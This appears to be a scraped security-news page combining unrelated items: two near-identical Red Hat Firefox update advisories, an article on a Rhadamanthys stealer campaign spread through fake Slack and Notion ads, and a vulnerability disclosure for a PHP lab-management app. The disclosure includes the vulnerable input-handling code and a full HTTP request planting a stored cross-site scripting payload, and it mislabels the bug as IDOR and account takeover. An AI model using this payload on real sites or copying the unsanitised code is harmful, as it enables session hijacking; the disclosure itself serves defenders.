Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 115.9.1 ESR.

Security Fix(es):

* nss: timing attack against RSA decryption (CVE-2023-5388)

* Mozilla: Crash in NSS TLS method (CVE-2024-0743)

* Mozilla: JIT code failed to save return registers on Armv7-A (CVE-2024-2607)

* Mozilla: Integer overflow could have led to out of bounds write (CVE-2024-2608)

* Mozilla: Improve handling of out-of-memory conditions in ICU (CVE-2024-2616)

* Mozilla: Improper handling of html and body tags enabled CSP nonce leakage (CVE-2024-2610)

* Mozilla: Clickjacking vulnerability could have led to a user accidentally granting permissions (CVE-2024-2611)

* Mozilla: Self referencing object could have potentially led to a use-after-free (CVE-2024-2612)

* Mozilla: Memory safety bugs fixed in Firefox 124, Firefox ESR 115.9, and Thunderbird 115.9 (CVE-2024-2614)

* Mozilla: Privileged JavaScript Execution via Event Handlers (CVE-2024-29944)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5388

References:

https://access.redhat.com/security/updates/classification/#critical  
https://bugzilla.redhat.com/show_bug.cgi?id=2243644  
https://bugzilla.redhat.com/show_bug.cgi?id=2260012  
https://bugzilla.redhat.com/show_bug.cgi?id=2270660  
https://bugzilla.redhat.com/show_bug.cgi?id=2270661  
https://bugzilla.redhat.com/show_bug.cgi?id=2270662  
https://bugzilla.redhat.com/show_bug.cgi?id=2270663  
https://bugzilla.redhat.com/show_bug.cgi?id=2270664  
https://bugzilla.redhat.com/show_bug.cgi?id=2270665  
https://bugzilla.redhat.com/show_bug.cgi?id=2270666  
https://bugzilla.redhat.com/show_bug.cgi?id=2271064

Red Hat Security Advisory 2024-1485-03

Red Hat Security Advisory 2024-1484-03 - An update for firefox is now available for Red Hat Enterprise Linux 8. Issues addressed include integer overflow, out of bounds write, and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1484.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Critical: firefox security update  
Advisory ID:        RHSA-2024:1484-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1484  
Issue date:         2024-04-03  
Revision:           03  
CVE Names:          CVE-2023-5388  
====================================================================

Summary: 

An update for firefox is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact of  
Critical. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 115.9.1 ESR.

Security Fix(es):

* nss: timing attack against RSA decryption (CVE-2023-5388)

* Mozilla: Crash in NSS TLS method (CVE-2024-0743)

* Mozilla: JIT code failed to save return registers on Armv7-A (CVE-2024-2607)

* Mozilla: Integer overflow could have led to out of bounds write (CVE-2024-2608)

* Mozilla: Improve handling of out-of-memory conditions in ICU (CVE-2024-2616)

* Mozilla: Improper handling of html and body tags enabled CSP nonce leakage (CVE-2024-2610)

* Mozilla: Clickjacking vulnerability could have led to a user accidentally granting permissions (CVE-2024-2611)

* Mozilla: Self referencing object could have potentially led to a use-after-free (CVE-2024-2612)

* Mozilla: Memory safety bugs fixed in Firefox 124, Firefox ESR 115.9, and Thunderbird 115.9 (CVE-2024-2614)

* Mozilla: Privileged JavaScript Execution via Event Handlers (CVE-2024-29944)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-5388

References:

https://access.redhat.com/security/updates/classification/#critical  
https://bugzilla.redhat.com/show_bug.cgi?id=2243644  
https://bugzilla.redhat.com/show_bug.cgi?id=2260012  
https://bugzilla.redhat.com/show_bug.cgi?id=2270660  
https://bugzilla.redhat.com/show_bug.cgi?id=2270661  
https://bugzilla.redhat.com/show_bug.cgi?id=2270662  
https://bugzilla.redhat.com/show_bug.cgi?id=2270663  
https://bugzilla.redhat.com/show_bug.cgi?id=2270664  
https://bugzilla.redhat.com/show_bug.cgi?id=2270665  
https://bugzilla.redhat.com/show_bug.cgi?id=2270666  
https://bugzilla.redhat.com/show_bug.cgi?id=2271064

Red Hat Security Advisory 2024-1484-03

Campaign distributes malware disguised as legitimate installers for popular workplace collaboration apps by abusing a traffic-tracking feature.

Source: Bits and Splits via Shutterstock

Attackers are once again abusing Google Ads to target people with info-stealing malware, this time using an ad-tracking feature to lure corporate users with fake ads for popular collaborative groupware such as Slack and Notion.

Researchers from AhnLab Security Intelligence Center (ASEC) discovered a malicious campaign that uses a statistical feature to embed URLs that distribute malware, including the Rhadamanthys stealer, they revealed in a blog post published this week. The feature lets advertisers insert external analytic website addresses into ads to collect and use their visitors' access-related data to calculate ad traffic.

However, instead of inserting a URL for an external statistics site, attackers are abusing the feature to enter sites for distributing malicious code, the researchers found.

Ads related to the campaign have already been deleted. But when they were still active, "clicking on the banner would take unsuspecting users to the address that would trick them into downloading a malicious file," according to ASEC.

In the campaign, Rhadamanthys is disguised as an installer for popular groupware often used by corporate teams for workplace collaboration. Once the malware is installed and executed, it downloads malicious files and payloads from the attacker's server.

**Redirects to Stealer Downloads**

The ASEC post breaks down how attackers crafted the campaign to show banner ads that contain tracking URLs invisible to the end user that redirect users to an attacker-created and -controlled URL. This ultimate landing page is similar to the actual website of a groupware tool such as Slack or Notion, and it prompts visitors to download and execute the malware, which is distributed in an installer form.

Typical installers used by the campaign are the Inno Setup installer or Nullsoft Scriptable Install System (NSIS) installer; specifically, attackers used the following executable files: Notion\_software\_x64\_.exe Slack\_software\_x64\_.exe; Trello\_software\_x64\_.exe; and GoodNotes\_software\_x64\_32.exe.

"Once it is executed, the malware uses websites that can save texts such as textbin or tinyurl to access the malicious payload addresses," ASEC said in its blog post, which lists the URLs attackers used to fetch these addresses, which are subsequently delivered to users.

The ultimate payload of the campaign is the Rhadamanthys stealer, which gets injected into legitimate Windows files via the "%system32%" path, according to ASEC. This allows the stealer to exfiltrate users' private data without their knowledge, the researchers noted.

Rhadamanthys is popular with attackers and is available for purchase on the Dark Web under a malware-as-a-service model. It acts as a typical stealer to collect system information, such as computer name, username, OS version, and other machine details. It also queries the directories of installed browsers — including Brave, Edge, Chrome, Firefox, Opera Software — to search for and steal browser history, bookmarks, cookies, auto-fills, login credentials, and other data.

**Pay Attention to Ad-Delivered URLs**

The campaign is certainly not the first time that attackers have abused Google Ads and its associated features to deliver Rhadamanthys and other malware, and it likely won't be the last. In fact, a campaign identified in January 2023 also used website redirects from Google Ads and fake-download lures for popular remote-workforce software, such as Zoom and AnyDesk to deliver Rhadamanthys.

Attackers have even abused the "dynamic search ads" feature of the service to amplify the effect of malicious campaigns by creating targeted ads to deliver a flood of malware.

Indeed, as "all search engines that provide tracking to calculate ad traffic can be used to distribute malware," users must stay vigilante when accessing links from ads delivered by Google, ASEC warned. Specifically, they should "pay attention to the URL that is seen upon accessing the website, not the URL that is shown on the ad's banner" to avoid falling for a malicious campaign, according to the post.

ASEC also posted a comprehensive list of URLs associated with various stages of the campaign to help administrators identify if any corporate users have been affected by it.

**About the Author(s)**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

Attackers Abuse Google Ad Feature to Target Slack, Notion Users

Computer Laboratory Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

#Vulnerability Details:  
#Application Name: Computer Laboratory Management System  
#Software Link: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html  
#Vendor Homepage: https://www.sourcecodester.com/users/tips23  
#BuG: Insecure Direct Object References (IDOR) and Account Takeover  
#BuG_Author: SoSPiro  
#CVE: CVE-2024-3140

# Vulnerable code section:

foreach($_POST as $k => $v){  
    $v = $this->conn->real_escape_string($v);  
    if(in_array($k, $main_field)){  
        if(!empty($data)) $data .= ", ";  
        $data .= " `{$k}` = '{$v}' ";  
    }  
}

- The vulnerable section of the code lies within the registration() method of the Users class. Specifically, the lack of proper validation and sanitization of user input allows for potential Cross-Site Scripting (XSS) attacks.

# Vulnerability Description:

- The vulnerability arises due to the lack of proper validation and sanitization of user-supplied data before it is used in constructing SQL queries. This allows an attacker to inject malicious scripts, such as JavaScript code, into the database. When the administrator views the user list, the injected script gets executed, leading to a Cross-Site Scripting (XSS) attack.

# Proof of Concept (PoC):

- Poc Video : https://drive.google.com/file/d/1iTJZz3QzLUkKeso5iHfBMlNbIwZy1X-Y/view?usp=sharing

- Request:

POST /php-lms/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------381104392340117332004262429571  
Content-Length: 946  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/php-lms/admin/?page=user  
Cookie: PHPSESSID=3oor3gc9ih6iq8fu6qpjf50si8  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
X-PwnFox-Color: green

-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="id"

8  
-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="firstname"

staff2  
-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="middlename"

<script>alert(1)</script>  
-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="lastname"

asd  
-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="username"

staff  
-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="password"

-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="img"; filename=""  
Content-Type: application/octet-stream

-----------------------------381104392340117332004262429571--

- In this POST request, an attacker has included a script tag in the "middlename" field:

<script>alert(1)</script>

- When the administrator views the user list, this script tag will be executed, leading to the alert dialog box with the message "1" being displayed. This demonstrates the XSS vulnerability in the application.

# Impact:

- The impact of this vulnerability is significant. An attacker can execute arbitrary JavaScript code within the context of the administrator's session, potentially leading to theft of sensitive information, session hijacking, or defacement of the application. Additionally, since the XSS payload executes within the administrator's session, it can lead to further exploitation of the system or its users.

# Reproduce:

https://github.com/Sospiro014/zday1/blob/main/xss_1.md  
https://vuldb.com/?id.258915  
https://www.cve.org/CVERecord?id=CVE-2024-3140

Tag

#firefox